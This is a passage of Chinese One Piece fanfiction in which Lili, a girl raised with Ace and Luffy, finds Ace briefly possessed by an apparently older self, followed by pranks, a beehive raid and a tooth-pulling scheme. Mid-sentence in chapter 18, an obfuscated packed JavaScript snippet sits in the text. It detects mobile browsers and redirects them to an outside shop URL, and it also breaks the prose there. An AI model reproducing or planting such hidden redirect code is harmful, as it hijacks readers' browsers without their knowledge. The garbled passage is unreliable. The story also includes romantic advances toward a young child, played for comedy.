女孩子去扯男孩子的那个地方,有点太没节操了吧。 但是现在我们还小,扯一下应该没什么关系吧?长大后再去扯就是耍流氓了。今天不下手,以后后悔了怎么办?我双手托着下巴,陷入了进退两难的选择。 要不要动手呢? 唔,纠结。 小天使和小恶魔在我头顶上争论不休。 “咕噜噜……”肚子叫得超大声。好饿,再不吃东西我会死掉耶,没有时间再犹豫下去了。 嗯,动手吧!我都开始新的人生了,为什么要拘泥于世俗的成见!不就是XX吗,一坨肉而已,扯一扯怎么啦! 我伸出罪恶的双手,然后被身后的人抓住了手腕。 “莉莉,”热乎乎的身体贴上我的脊背,头顶被那个人的下巴压住。他用疑惑的声音小声问:“你想干什么?” 啊啊啊干坏事被艾斯当场逮捕了! 18. 偷吃和心形胎记 我的嘴巴像是老旧的胡桃夹子那样吱吱呀呀无法闭合也无法打开,整个人都羞成了红色。 周围突然安静得可怕,我耳朵里挤满了我们三人的呼吸声,我急促的心跳声以及背后平缓的心跳声。 “咕噜噜……”我的肚子再一次发出了抗议。 “饿了吗?”他好像明白了什么,不假思索地对我说出了可怕的话,“传说里塞壬会诱惑水手,然后把他们拖进水里吃掉。你想把路飞吃了?唔,要生吃还是煮熟?” 你这种轻描淡写的语气是怎么回事,我点头你就煮人给我吃吗?!我僵硬着肢体,磕磕绊绊地问:“你,你认真的吗?” 艾斯在我头顶发出恶作剧成功的笑声:“当然是逗你玩的。走吧,我带你去厨房找东西吃。” 他莫名变得好开朗……做了一个很好的美梦?难道是梦见自己当上海贼王啦? 我俩在一片黑暗中溜出房间,无声无息地穿过横七竖八躺在大厅里的山贼们,进到厨房里面。艾斯让我坐到椅子上等他,自己则熟门熟路地爬上料理台,打开了最上方靠右边的柜子。 “咔嘭”一声,柜门上的巨型老鼠夹猛然闭合。 不愧是波尔戈山,这个老鼠夹适配的体型居然跟我差不多大。 “我记得这个玩意是专门用来抓路飞的。”艾斯露出了奇怪的像是在怀念什么的表情,接着嘀咕了一句,“那家伙从小就喜欢溜进厨房偷吃。” “被夹住会死的吧!”我压着嗓子惊呼,然后在心里默默吐槽:你平时也没少过来偷吃吧,一副超熟练的样子。 “哦,现在的你还不知道吗?”艾斯拿出装着鱼排的盘子托在手掌上,漫不经心地开口,“路飞的身体和普通人不一样,老鼠夹伤不了他。我看你玩了他半天,还以为你已经发现了呢。” “什么叫‘玩了他半天’,把人家说得跟变态一样!”我恼羞成怒,音量越说越大。“我只是好奇!单纯的好奇!” 艾斯连忙扔下盘子捂住我的嘴:“小声点,你想把其他人都吵起来吗!” 我看你声音也不小。我把他推开,心虚地问:“你到底是什么时候醒过来的?” “从你开始扯路飞胳膊的时候。” 那,那不是一开始就……我感觉自己的身体有一点褪色了。 艾斯重新拿起盘子,托在掌心里意义不明地转来转去,最后无奈地放到我面前,叹气道:“能力没有带过来,你将就下吧。” 他今天晚上怎么一直奇奇怪怪的? 饥饿让我的脑袋无法正常运转,我没再多想,埋头狼吞虎咽地吃起鱼排,免得下一秒当场饿死。 艾斯也给自己盛了满满一大盘鱼排,坐在我身边狂吃,嘴里含糊不清地念叨着“这就是幸福的味道吧”“可恶,下次一定要抢个厨师”“好吃得要死了”之类的句子,然后——他的脸砸进了盘子里。 我淡定地端起盘子往后一跳,躲过艾斯溅起来的食物碎屑后重新坐回去,放缓了进食的速度,毕竟我可不像艾斯那样一点不在乎鱼刺。 吃得半饱的时候,艾斯呻吟了一声,醒过来了。 我在他迷迷糊糊看过来、想要扯我衣服擦脸的前一秒,及时把餐巾糊到他脸上。 艾斯的动作顿住了。 我吃了两口鱼排,见他还是没动,疑惑地皱起脸:“又睡着了?” “没有——”他拖长了尾音,听上去有点委屈。 “那你怎么不动?” 错觉吗,他为什么有委屈这种东西,那可是艾斯诶,我那个暴躁凶恶的王八蛋哥哥! “莉莉,你都不帮我擦吗?” “……”你这个理直气壮的态度是怎么回事?我本来想阴阳怪气几句,又觉得吃饭的时候不适合吵架,耐着性子侧身过去给他擦脸。一连用了三张餐巾,我才把他那张沾满食物碎屑的脸蛋擦干净。 拿开餐巾后,我看到了艾斯的表情。 他弯着眼睛,龇着雪白的牙齿,笑得爽朗又傻气。 我顿时起了一身鸡皮疙瘩。 这个人是谁啊! “你刚才是不是吃了什么奇怪的东西?”我狐疑地上下打量艾斯,试图在他身上找到几朵颜色诡异的蘑菇。 艾斯继续往嘴里塞鱼排,满不在乎地开口:“无所谓啦,反正是在做……”说到最后一个字的时候,他突然没了声音。 我头顶冒出一个问号:“你到底要说什么?” 艾斯鼓着腮帮子咀嚼鱼排,似乎在思索怎么回答我,又似乎只是沉醉在鱼排的滋味里无法自拔。 “唔,感觉不能说出口。” 他是生气到质壁分离,变成莫名其妙的傻子了吗?!因为我今天和路飞说话了?半夜爬起来背着他偷偷玩弄,啊呸,偷偷研究路飞的身体?昨天在他和萨博进行日常比试的时候不停干扰他?三天前溜出去玩被老鹰叼走,害他跋山涉水一整天才把我救回来?还是一个星期前故意把他骗进陷阱,然后往里面填土洒水?又或者是…… 仔细一想,他对我怨念这么大也不是完全没有道理……等,等一下,我干嘛要共情这个家伙,这些事情大部分都是我的合理还击吧。 艾斯一口气把厨房剩下的鱼排吃了个精光,在桌上摞了七八个狼藉的空盘。他胡乱擦了下脸,对着大厅的方向双手合十,感激地开口:“我吃饱了,感谢你的款待,厨师先生。” 我简直不敢相信自己听到了什么,满脸震惊地扭头去看他。 “怎么了?”艾斯无辜地眨了眨眼睛,又把目光看向我盘子里剩下的两块鱼排,他压着声音笑,“莉莉,你吃东西的速度也太慢了吧,以后会很麻烦的。——啊,不过不用担心,我会好好守护你的食物,哈哈哈。”说完话,艾斯抬起手往脑袋上按,似乎想要按住什么东西。 他脑袋上当然什么也没有。 艾斯恍惚了一下,小声嘀咕:“忘了现在还没有……” 我的食欲彻底消散了。我倾身过去按住艾斯的肩膀,着急地摇晃他:“艾斯,你到底怎么了?你变得好奇怪,是不是中邪了?还是吃了什么让人格发生变化的东西?你醒一醒,你这样我好害……唔!” 嘴巴被捂住了。 “你太大声了,莉莉。”艾斯对我比了个噤声的手势,侧过脑袋倾听大厅那边的动静。“有人过来了,我们从窗户走。” 我紧张得倒吸了一口凉气。糟糕,忘记我们俩现在正干着“老鼠”的差事了。 艾斯捞起我抱在怀里,利落地从窗户跳出厨房。他仰望着二楼上儿童房的窗户,后退几步,又在原地试探性地抬了抬腿,然后猛地加速起跑,高高跃起。他抱着我落在一楼的屋檐上,足下轻轻一点,再次腾空,稳当地跳上了儿童房的窗台。 这时,门外传来了人声和脚步声。 “又是路飞吗?” “看他在不在房间里就知道了。” “也有可能是艾斯那个臭小子。” 时间紧迫,艾斯直接带着我躺到他的床上,掀起被子把我俩盖住。 “你的脸……”我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222172|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气音很小声地提醒,又感觉快来不及了,飞快地伸出手抹掉他嘴角的肉渣。 门打开了,昏黄的灯光顺着门缝洒入黑暗的房间,随着火焰的摇晃不停变形。 我赶紧闭上眼睛。 “一个,两个……咦,莉莉呢?” “那儿呢,趴艾斯胸口上睡着呢。” “这两个小家伙平时吵吵闹闹的,结果感情很好嘛。” 谁和他感情好了!我咬住牙。 “都在房间里,那厨房的东西是谁偷吃的?” “难道是山上的猴子?” 在山贼们的小声讨论中,房门关上了,房间再次回归黑暗。 我推开艾斯环在我腰上的手臂,翻身坐起,心有余悸地喘了口气。 “哈哈哈,真是别样的刺激。”艾斯在床上伸展开四肢,低声笑起来。 我找出纸巾擦干净手,又顺手扯了新的纸巾,俯身去擦艾斯的脸,嫌弃道:“你的吃相也太差了吧,为什么每次都会糊满整张脸,脏死了。不许笑!不许再对我笑了,你今天到底什么毛病!” “可爱得太过分了吧。”艾斯翻身坐起,眼睛在黑暗中闪烁着明亮的神采。“好想亲一口。” “???” 我确定了,一定是色鬼萝莉控妖怪之类的东西占据了艾斯的身体。我要先打死他,然后再去想办法把原本的艾斯救回来。 朝“艾斯”挥去的拳头被他轻而易举地挡住,他完全不在意我对他的攻击,自顾自地嘀咕:“算了,还是算了,虽然是小时候的你,但是年纪太小了,真亲下去也太变态了。——哦,我可以亲其他地方。”他露出了“我真聪明”的睿智表情。 “谁会让你亲啊,不知道哪里来的臭妖怪!给我死吧!”我这时候也顾不上装睡了,横腿向他的脑袋扫去。 可恶,腿也被压住了!为什么他能那么精准地预判我的招数? “艾斯”看出了我的疑惑,对我露出灿烂的笑容:“因为经常被这样殴打,已经有相当丰富的经验了。” 你在自豪什么啊死色鬼! 两只手腕被“艾斯”用左手抓到一起,拧到了身后;双腿被压在他的膝盖下动弹不得。我愤愤咬牙,心里明白我无法凭借自己目前的实力战胜这个“艾斯”,于是深吸了一口气,放声尖叫:“达旦!救命啊!!!” “……啊,还能这样吗?”“艾斯”呆住。 “是刚才那个偷吃贼吗,他去绑架我们家小孩了?” “他妈的,当我们这里是什么地方,连吃带拿!” “兄弟们抄家伙,给我上!” 听到动静的山贼们吵吵嚷嚷地再次冲上二楼。 “得抓紧时间了。”“艾斯”收敛起笑意,眉目严肃。 哼,现在想逃跑已经晚了!你在钳制我的时候也困住了自己,我是不会让你…… “艾斯”用空余的右手按住我的肩膀,拨开我后颈处凌乱的发丝。他低下头,黑发掠过我的耳畔,熟悉又陌生的气息在一瞬间贴近肌肤,温热柔软的触感落在了我后颈的心形胎记上。 我惊愕地瞪大眼睛。他,他怎么知道……那个地方…… “晚安,我心爱的……”他在我耳边狡黠地轻笑,“小姑娘。” 山贼们重重撞开了房门,昏黄的灯光照亮了房间的每个角落。 肩头一重,艾斯整个人软软地倒在我身上,呼吸声变得平和悠长。 所有压制我的力量都消失了。那个控制了艾斯身体的东西似乎也消失了。 19. 生气和磨牙棒 “莉莉,你有没有怎么样?” 十多个山贼一齐冲进了儿童房,把对于我们三个小孩来说非常宽敞的儿童房挤得满满当当。 我摇了摇头,脑子里乱哄哄的,像被一团棉花塞住了喉咙说不出话来。现在该怎么办,和达旦他们坦白吗? 山贼们点上灯,在儿童房内四处搜索。 “孩子们都还在吗,我数数,1、2、3。好嘞,都在!” 达旦跑到我和“艾斯”没来得及关的窗户处张望:“跳窗逃走了吗?小的们,我们往森林里追!绝对不能放过胆敢偷到山贼头上的混账!” “不问问莉莉发生了什么吗?”多古拉提出疑惑。 达旦豪爽地一挥手:“她一个小孩知道什么,没受伤就行。这种性质恶劣的事件由我们大人来负责处理!” “老大!” “不愧是你老大!” “帅死了!” 山贼们全都露出了星星眼。 “小的们,出发!”达旦带着所有山贼浩浩荡荡地跑下楼,去追根本不存在的敌人。 “……”完全不给我说话的机会呢。 其实偷吃被发现根本不要紧,倒是艾斯身上发生的事该怎么解释?我曾在达旦喝醉后听见她咒骂艾斯是鬼之子,身上流淌着极恶之血。她虽然爱着艾斯,也对他怀有我不清楚因由的成见。如果说了,有很大可能会加深这种成见。但是不说,如果那个东西再出现,艾斯会不会有危险? “吵死了,大晚上不睡觉搞什么。”艾斯低吟一声,从我肩上抬起头。他愣了一会儿,随后便直起身和我拉开距离,迷茫地皱着眉看我:“我怎么靠在你身上,莉莉,你又做了什么?” 可恶,我明明是受害者。这个狗东西在怀疑什么! “艾斯,莉莉,你们刚才在干什么?” 睡意浓重的声音来自路飞。听见他说话,我和艾斯都转头看向他。 路飞抱着被子坐起身,他打了个呵欠,疑惑地问:“为什么艾斯要抓住莉莉,咬莉莉的脖子?那里有东西可以吃吗?” 艾斯露出“这个家伙在说什么鬼话”的嫌弃表情。 我一派从容地糊弄路飞:“我们什么都没干哦,是你做梦了吧。” 艾斯惊诧地看着我,似乎不明白我为什么突然开始和路飞说话了。 “哦——原来刚才是梦。”路飞毫不犹豫地相信了,他弯起眼睛很开心的样子:“莉莉,你又和我说话啦。明天和我一起玩吧,我带你去看彩虹!” “喂,你在干嘛?”艾斯不高兴地双手环胸。 我转头瞪他:“你先闭嘴,待会儿和你说。” 艾斯哼了一声,没再说话。 “艾斯也想去吗?”路飞眼珠子一转,神气活现地开口,“如果艾斯答应和我做朋友,我就带上你。”话还没说完,他就忍不住笑出了声。 我见艾斯没有搭理路飞的打算,把话题岔开:“明天的事情明天再说吧。路飞,现在已经很晚了,你不困吗?” 路飞呆呆地眨了眨眼睛,似乎是在感受自己的困意。过了一小会儿,他老实回答:“困。” “那就睡吧,睡眠不够会长不高哦。” “啊,不要!我要长成巨大机器人!”路飞慌张地躺下。 那是靠睡觉就能做到的事情吗! 我走过去给路飞把被子盖好,摸了摸他蓬松又凌乱的黑发:“晚安,路飞。” 从背后注视着我的那道视线更加阴沉了。 路飞掀开被子的一角,拍了拍自己身边的位置,向我发出单纯的邀请:“莉莉,和我一起睡吧。” 他是真的很渴望拥有一个能和他聊天玩耍的朋友呢。我认真地思考了一下,决定把我的想法明确地告诉路飞。 “路飞,我是艾斯的妹妹。如果他不承认你是朋友,我也没办法当你的朋友,明白吗?” 路飞慢吞吞地放下被子,沮丧地点头:“明白了。” “明白就好,快睡吧。保持充沛的体力,明天才可能追到艾斯哦。”说到最后,我差点没忍住幸灾乐祸的腔调。加油艾斯,我相信你一定可以甩掉路飞的。 路飞的眼睛重新亮起来。 这个小傻瓜也太好懂了吧。 在我打算起身走开的时候,路飞维持着身体躺在床上的姿势,突然伸长脖子,像条蛇似的把脑袋伸到我面前,响亮地亲了一口我的脸颊。 “晚安,莉莉。”话音刚落,他的脖子“啪嗒”一声缩了回去,鼻尖冒出一个大泡泡,以令人措手不及的速度睡着了。 那张安静的睡颜看起来乖巧又可爱,像个讨人喜欢的小天使。 “什么啊,吓我一跳。”我抿着嘴笑了笑,转身走向艾斯——呜哇,他看起来超生气的样子! 镇定。反正艾斯嘛,时不时就会出现这种状态。他要是像之前那个色鬼一样总是笑嘻嘻的,那才叫奇怪呢。 我坐到艾斯身边,竖起手指放在唇上,对他比了个噤声的姿势:“小声点,别再把路飞吵醒了。艾斯,接下来我要和你说一件很严重的事。” 艾斯完全没在听。他维持着双手环胸的姿势挑起眉:“莉莉,你好像挺喜欢这个小鬼嘛。今天是谁信誓旦旦地说永远都站在我这一边,绝对不和他交朋友?真是个说起慌来眼睛都不眨一下的可怕家伙呢。” “……”算了,不想管这个狗东西了。我深深地吸了口气,平复下憋屈的心情,向他伸出自己的双手。 艾斯把身体往后仰:“干嘛突然让我抱你,不要莫名其妙开始撒娇。” “……谁让你抱了,我是让你看看我的手腕。”我将双手并在一起,举到艾斯面前。 艾斯看见我手腕上那两圈已经开始消退的红痕,眉心间升起怒气:“谁干的?” “你,把自己的手放上去看看。”我冲艾斯抬起下巴。 艾斯浑不在意地把自己的双手放到我的手腕上,和那两道红痕进行比较。 “犯人还能是我……诶?!” 他手掌的大小和那两道红痕完美契合。 艾斯震惊地盯着自己的双手,额头沁出冷汗。 “嗯,就是你。” 艾斯吞咽了一口唾液,艰难地出声:“那个白痴刚才说的……” “路飞说的没错。” 话还没说完,眼前一黑,我的额头撞上了艾斯的胸膛。艾斯按着我的后脑勺,捞起我颈后的头发,一边在我脖子上找寻可能存在的伤口,一边紧张地询问:“你真被我咬了?伤口在哪里?严重吗?” “嘶,你轻点,头发要被你扯掉了!”因为头发在他手里抓着,我不敢使劲推开他,只好抬手捶了一下他的肩膀以示抗议。我压着自己的声音:“小声一点。我没被你咬,你倒是听我说完啊笨蛋。” 艾斯没有立刻放开我,继续按着我的脑袋不让我动,检查我的脖子上是否存在伤口。 “都说没被咬啦,我自己难道不清楚吗。” “是谁吃了大半个沾着血的苹果,才发现削皮的时候把自己的手指也削掉了一块?” “那是……我自己伤到自己的感觉和别人伤到我的感觉是不一样的。”我不太有底气地反驳,说到最后干脆放弃抵抗,老老实实地靠在他胸口不动了。 隔着柔软的布料,我听见艾斯的心脏正强健规律地跳动着,我感到非常安心。虽然艾斯老是对我凶巴巴的,一点都不温柔,但是我心里明白:如果遇到了危险,艾斯一定会保护我,我可以放心地依靠他。 艾斯的手指碰到了我颈后的爱心胎记,我不适应地抖了抖,挣扎起来:“不要碰,我讨厌别人碰那里。” 艾斯马上移开手指:“这个是什么,於痕?纹身?” “胎记啦,生来就有的。——你检查好了吧,快点放开我,热死了。” “好 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艾斯垂着眼睛,声音很冷:“它碰了你不想被别人碰到的地方啊……” “你给我等等,这是重点吗?” “哈?” 别用那种“我说的难道不对吗”的眼神看我!我抓住艾斯的肩膀使劲摇晃,激动得差点忘记压制音量:“你是白痴吗艾斯!重点是那个东西可能会再次占据你的身体,用你的身体胡作非为,给我好好担心你自己!” “那个无所谓吧,出现那种情况直接把我打晕不就完事了。”他说得一派轻松。 “……”我要是能打晕你,还会被按着亲那一下吗!算了,回家找萨博想办法吧。这种事情需要智商,艾斯不行的,绝对不行! “我去睡觉了,今天就到这里吧。”我面无表情地钻进自己的被窝,“麻烦关一下灯,谢谢。” “你突然生什么气啊,喂。” “没有生气,我只是困了。快点关灯。” 艾斯“啧”了一声,把灯关了。 我听见他在被子里辗转反侧了好一会儿,然后小声对我说:“要不你亲回来?” “啊?” “不过我身上没有那种不想被你碰到的地方。” “你闭嘴吧,艾斯,别再惹我生气了。”我给小熊玩偶的肚子来了一拳。 “所以你刚才生气了吧。” 这个狗东西怎么这么气人!我掀开被子气鼓鼓地坐起来,呼吸间胸膛大幅度地上下起伏。 艾斯也掀开被子从床上起来。他坐到我身边,把他的胳膊伸过来,话音里带着笑意:“喏,给你咬一口,别生气了。” 哈,你以为我会客客气气地说不用吗!我“嗷呜”一口咬住他的胳膊,在上面狠狠磨牙。 我听到艾斯的喉咙里发出了轻快的笑声。 为什么我咬得那么狠,他还能笑啊?他是抖M吗??? 我顿时失去了继续咬他的欲望,愣愣地松开嘴。 下巴被捏住,艾斯扯了一张放在我被褥旁边的纸巾擦我的嘴,又放开我低头擦掉自己胳膊上我的口水。他叫住毫无成就感、蔫头蔫脑打算钻回被窝睡觉的我。 “莉莉。” “干什么?” “你是不是也要换牙了,刚才有一颗牙感觉不太对劲。” 请给我感觉到疼痛,而不是关注我的牙齿松没松动这种事情! 我挨个舔了一圈自己的牙齿,没感觉出来,问他:“哪一颗?” 艾斯看着自己胳膊上的牙印回忆:“嗯……下牙那一排,左边犬牙往左数第二颗。” 我下意识地用舌头舔了舔艾斯提到的那颗牙齿,不知道是不是心理作用,我感觉它确实比旁边的牙要松动一些。“现在黑灯瞎火的不好观察,明天白天再说吧。睡了,晚安。” 艾斯用很少见的心平气和的语气对我说:“晚安,莉莉。” 20. 恶作剧和蜂蜜 我现在的生物钟准时得可怕,一到七点就自动清醒了,完全不需要闹钟。 在明亮的晨光中,我抓挠着后脑勺打结的头发从床上爬起来,一转头看到了抱着钢管、盘腿坐在旁边床上的艾斯。 “早。”艾斯困倦地打了个呵欠。 “早安,艾斯,你没睡好吗?”我偏着头打量艾斯青黑的眼底。 “我后来想了想,那个东西可能是趁我晚上睡着的时候控制了我的身体。既然这样,保持清醒比较好吧。”他用那种“谁让你这么弱小”的眼神看了我一眼。 “诶——”我抱着我的小熊玩偶凑到艾斯面前,惊讶地问:“所以你后半夜完全没睡吗?” “不然呢。”艾斯把我连人带熊推开,放下钢管伸了个懒腰。 我被他推得仰头栽倒,后脑勺鼓起了一个大包,心中的感动瞬间消散。 吃早饭的时候,艾斯基本上吃一口就睡着一次。达旦他们还围着艾斯开了场赌局,打赌他究竟要花多久时间才能吃完早饭。 路飞完全没有受到昨晚那件事的影响,和平常一样精力旺盛。他吃完自己的那份早饭,拿着刀叉贼眉鼠眼地四处打量,趁着大家的注意力都在艾斯身上,使用他可以伸缩的手臂偷吃了不少别人的早饭。 撞上我的视线,路飞对我龇着牙笑。他举起一块刚从大白狗波奇的狗碗里偷出来的带肉大腿骨,用无声的口型问我:“要吃吗?” “……”谢谢你的分享,不吃狗食。我冷漠地收回视线。 路飞把带肉大腿骨塞进嘴里,整个人像是融化的蜡烛一样靠在桌子上,发出失落的鼻音。 “头好痛……”坐我旁边的艾斯又醒了。他一边皱着眉呻吟,一边张口咬住手上的食物。他嚼了两下食物,连吞咽都没来得及,再一次仰头睡着了。 他这样真的不会不小心把自己噎死吗? “不能熬夜就别硬熬,笨蛋吗你是。”我找达旦要了一套新的刀叉,拿过艾斯的盘子,把他的食物都切成一口就能吞咽的小块。艾斯又一次醒来的时候,我手疾眼快地叉起小块的食物塞进他嘴里。 艾斯睡眼惺忪地吃了几口,又断电了。 最后是马古拉赢得了赌局——艾斯花了两个小时吃完早饭。 我也花了两个小时给他喂饭。不过也不是两个小时都在不停地喂他,因为他一直重复着醒过来——吃东西——睡着这三个状态。在他睡着的时候,我趁机摸了好几把他的脑袋,叫他昨天不给我摸,哼。 艾斯的头发丝不是我想象中那种细细软软、摸起来很细腻的手感,不像大狗狗,有点像野狼或者豹子之类野兽的毛发,粗粗的硬硬的,乍看起来很柔顺,摸起来却有一种微妙的滞涩感。 下次给抚养费的时候,让达旦再买一瓶水蜜桃味的护发素吧,我喜欢更柔软的触感。 摸够了艾斯的狗头,我又无聊起来。山贼们对艾斯什么时候能吃完早饭的好奇心只维持了不到半个小时,全都出去干自己的事情了。现在大厅里只剩我和艾斯,还有因为艾斯没有出门,闲得满屋子乱蹿的路飞。 路飞不小心撞翻了达旦装杂物的柜子,里面的东西滚了一地。我看着滚到我手边的碎布和红绳,舔了舔犬牙,脑子里冒出一个坏主意。 首先,对路飞招手。 路飞眼睛一亮,瞬间蹲坐到我和艾斯旁边,满脸都是期待。 哟西哟西,好狗狗……等一下,打住!好险,差点被迷惑了。我及时清醒过来,收回了快要伸到路飞脑袋上的手。 路飞歪过脑袋,疑惑地眨了眨眼睛。 我拿起一块粉色的碎布,在艾斯头上扎了个小啾啾,然后递给路飞一块红色的碎布,无声地示意他像我这样做。 “哦——打扮娃娃的游戏!”路飞get到了我的意思,他接过那块碎布,模仿着我刚才的方法在艾斯脑袋上扎出第二个小啾啾。他把脖子往后伸了2米多远,看着艾斯脑袋上的两个小啾啾嘿嘿直笑。 替罪羊准备好了,我坐到艾斯身后,开始放手玩耍。 在我和路飞给艾斯扎了满头小啾啾后,艾斯醒了过来。他先是警觉地看了看近在咫尺的路飞,然后将目光移动到路飞手上的碎花小布条上。 路飞被突然醒来的艾斯吓得浑身哆嗦了一下,他心虚地瞄了我一眼,把嘴巴嘟起来偏到右边:“我,我要去尿尿了,拜拜。”话还没说完,他已经一溜烟跑得看不见人影了。 我冷静地将印着小猫的碎布塞到屁股底下,拿起刀叉举起一块食物:“张嘴。” 艾斯下意识张嘴,咬住食物,咀嚼吞咽。 我看他做出了吞咽的动作,赶紧继续喂食下一块食物。 本来我可以一直用不断喂食堵住艾斯的嘴巴,让他没有心思想一些有的没的——比如刚才路飞在干嘛,直到他再一次睡着。 但是……路飞绑的小啾啾太松了,艾斯只是稍微动了动,他脑袋上的碎布头就连着掉了好几块下来。 艾斯面无表情地看着碎布头妖妖娆娆地从他脑袋上飘下来,一时没有说话。 我……我突然也好想去尿尿。 * 最后我和路飞谁都没有尿遁成功,被艾斯逮住狠狠揍了一顿。 我满头包、有气无力地趴在艾斯背上,耳边风声呼啸,树枝和滕蔓不停掠过身侧,向着我们身后飞速倒退。 路飞满头包、精神抖擞地追在艾斯身后,跃过沼泽的鳄鱼脊背,跳上陡峭的石壁,笑嘻嘻地大声喊:“艾斯,今天一起玩嘛——等等我!这次我来当娃娃,你和莉莉给我扎小辫子吧,哈哈哈。” 路飞快乐的笑声回荡在山野间,一团熊熊燃烧的火焰从艾斯头顶猛然蹿起。 呜哇,被气到自燃了!我大气都不敢喘,生怕艾斯突然意识到我这个最大的主谋还趴在他背上,然后抓住我的脚踝把我扔出去砸路飞,送我们俩一起归西。 “莉莉,还想吃蜂蜜吗?”艾斯转头看向我。 这头整张脸乌漆嘛黑,双眼泛着红光的怪兽是谁啊!我被吓得瑟瑟发抖,含着泪花使劲摇头。 “去年你骗我去捅的马蜂窝就在这附近吧,真巧啊。”艾斯完全看不到我的拒绝,嘴角裂开一个阴森的弧度。他脚步一转,改变了目的地。 “要去新的地方玩吗?”路飞用他可以伸缩的手臂抓住树干,在空中绕出一个半圆,跟着艾斯改变了前进的方向。 艾斯背着我穿过灌木小径,来到了一片盛开着五颜六色野花的平地。野生的蜂群嗡嗡作响,穿梭在野花之间繁忙地采撷着花蜜,她们毛茸茸的身体上沾满了黄色的花粉,看起来憨态可掬,毫无威胁性。 艾斯从背后把我放下来,向四周左右张望,在最前方的大树枝干上发现了一个有我两个脑袋那么大的蜂巢。“找到了,原来在这里。” 身后传来路飞的声音——“橡胶橡胶,弹弓!” 艾斯勾起唇角,表情恶意十足。 破风声炸响,艾斯矮身躲过笔直飞过来的路飞,先是抬脚将他踢到高处,然后腾空而起,用倒挂金钩的姿势补上第二脚,将路飞踢向树干上的蜂巢。 “……”这次我不敢帮你了,路飞,再见—— 路飞将蜂巢撞了下来,和蜂巢一起坠向地面。他富有弹性的身体在地上弹跳了两三下,完好无损;蜂巢则摔得稀碎。 路飞还没有意识到事态的严重,他戴上草帽叹了口气:“果然失败了吗……”然后疑惑地摸了摸自己的脑门,“什么东西,黏糊糊的。”他把手指沾到的蜂蜜放进嘴里舔了一下,眼睛闪亮亮:“好甜!哇,是蜂蜜诶!” 路飞沉醉在蜂蜜美妙的滋味中,似乎忘记了周遭的一切。无数工蜂则从破碎的家园中倾巢而出,愤怒地亮出了尾间的利刺,将路飞团团围住。我看到她们化作一团黑云,将路飞小小的身体吞入其中。 “好痛!好痛!救命啊啊啊啊!”路飞尖叫着抱头鼠窜,很快消失在了我和艾斯的视野范围外。 他逃跑的方向有一条小溪,希望他可以撑到那边,跳进小溪躲过蜂群的叮咬。阿门——我在胸口画了个十字,为他真心地祈祷。 “换牙期少吃甜食,今天只能吃一块,其他的留着以后再吃。”艾斯捡起失去了守护者的蜂巢,扔到我怀里。“如果那个小鬼还活着的话……”话说到一半,艾斯突然 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我仰着脑袋看萨博,眼睛里亮着小星星,满怀期待地说:“我还想吃一块蜂巢,用来修补我被艾斯伤害的破碎心灵。” 艾斯停下吃蜂巢三明治的动作,斜觑了我一眼。他语气严肃地警告萨博:“不许给她吃,萨博。在路上的时候这个家伙就已经用各种借口吃掉三块蜂巢了,一开始明明和我约好一天只吃一块的。” “所以你也多给她吃了两块吗?” “那是因为!”艾斯瞬间炸毛,“呃……”他一时之间想不出像样点的反驳理由,干脆背过身去狠狠咬了一大口三明治,语气生硬:“总之不许给她吃!” “看吧,艾斯说不许给你吃呢。”萨博露出无奈的表情。 “最后一块也不行吗?”我鼓起脸,眼巴巴地看着萨博。 “唔……”萨博游离开视线。 “哥哥,哥哥——”我把尾音曲起来绕了三圈,黏糊糊地向他撒娇。 萨博撑不住了,他往艾斯那边看了一眼,凑到我耳朵边小声说:“只能吃一块哦,待会儿我偷偷塞给你。” 我往萨博脸蛋上啾了一口,窃笑着用同样小声的音量回应:“最喜欢哥哥啦~嘿嘿。” 艾斯突然回过头,怀疑地打量我们俩:“你们背着我说什么呢?” “才不告诉你,这是我和哥哥的秘密。”我有恃无恐地对艾斯做鬼脸。 “你这个家伙!”艾斯脑门上蹦出了一个鲜艳的“井”字。 “好啦好啦,莉莉,别惹艾斯生气了,他让你少吃甜食也是为了你好。”萨博赶紧把我抱到山洞外面的小椅子上。 他在家里翻找出手电筒,又找出一把勺子。 “先让我看看你的牙齿。”萨博压低声音,“如果牙齿的状态不好,今天就没有最后一块了。” “啊?”我下意识捂住腮帮子,“等,等等,我先去刷个牙。”说完我就跳下了椅子,回山洞里去拿我的漱口杯和牙刷,然后朝小溪那边跑。 认认真真地刷好牙齿,我重新坐到小椅子上,乖乖地张大嘴巴,让萨博查看我的牙齿。 萨博用勺子压住我的舌头,打开手电筒增加能见度,把手指伸进我的嘴里,一颗颗摸过去:“左边的犬齿……哦,是这里。你的犬牙好像比我的尖多了,是塞壬的种族特性吗?然后往左数第二颗……第二前磨牙啊,是这里吧?” 他捏住那颗牙齿晃了晃。 我没办法好好说话,用鼻音“嗯”了一声。 “是有一点松动了,可能再过五六天就要掉了。需要我帮忙把它拔下来吗,莉莉?”萨博收回手,拿出手帕擦掉我嘴角因为无法闭合而流出的口水,又用另一边擦干净自己的手指。 “要怎么帮忙?”我疑惑地问。除了有一次艾斯和小混混们打架的时候被打掉了一颗牙,萨博和艾斯的牙齿都是自然掉落的,我可没见过他们干预自己牙齿的掉落过程。 “最近弄到了一点炮仗。”萨博笑嘻嘻地回答。 “?”这和拔牙有什么关系? 21. 桃树和小鱼 萨博把我带到书架前,找出那本记录着炮仗拔牙法的图画书。 “你看,先把麻绳绑到需要拔掉的牙齿上,另一头则系到牛角上。”萨博指着书本里的图片给我解释,“然后把炮仗点燃,扔到牛的蹄子下面。牛受到惊吓,一定会使足全力往前逃窜,然后‘啵’——牙齿就被这股巨大的力道拔掉了。怎么样,这个拔牙方法是不是超有趣,哈哈哈。” 我看着图片上那个被牛角牵着牙齿、像风筝一样飞在空中的简笔画黑发小人,露出幸灾乐祸的表情:“确实很有趣,如果被拔牙的那个人不是我的话。” “这是我的最后一颗乳牙。”萨博指了一下自己牙齿的缺口。 我们俩对视了一眼,将闪耀着期待之光的眼神看向艾斯。 